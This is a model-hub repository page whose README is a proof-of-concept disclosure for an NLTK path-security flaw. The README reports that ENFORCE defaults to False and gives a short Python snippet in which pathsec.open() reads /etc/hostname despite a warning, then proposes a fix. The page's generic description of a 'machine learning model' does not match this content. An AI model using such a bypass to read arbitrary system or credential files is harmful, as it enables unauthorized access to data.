Downloads · 30 days
0
poc-nltk-pathsec-bypass
ryansecuritytest-fanpierlabs/poc-nltk-pathsec-bypass
poc-nltk-pathsec-bypass is a machine learning model from ryansecuritytest-fanpierlabs. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for nltk.
NLTK's path security module defaults to ENFORCE=False, making pathsec.open() read arbitrary files with only a warning.
Access
Public
Updated Apr 3, 2026
Repo size
—
Likes
0
Public
Repo makeup
Click a slice to open those files.
.py1.8 KB · 46%
At a glance
- Library
- nltk
- Access
- Public
- Created
- Apr 3, 2026
- Updated
- Apr 3, 2026
- SHA
- 5140f4d3
Model card
From the Hugging Face model README
NLTK pathsec ENFORCE=False Bypass PoC
Vulnerability
NLTK's path security module defaults to ENFORCE=False, making
pathsec.open() read arbitrary files with only a warning.
Affected Code
nltk/pathsec.py:24—ENFORCE = Falsenltk/pathsec.py:253-256—open()proceeds after warning
Reproduction
import warnings, nltk.pathsec as pathsec
with warnings.catch_warnings(record=True):
warnings.simplefilter("always")
f = pathsec.open("/etc/hostname", "r")
print(f.read()) # Reads file despite security warning!
Fix
Set ENFORCE = True by default.
- Library
- nltk
- Created
- Apr 3, 2026
- Updated
- Apr 3, 2026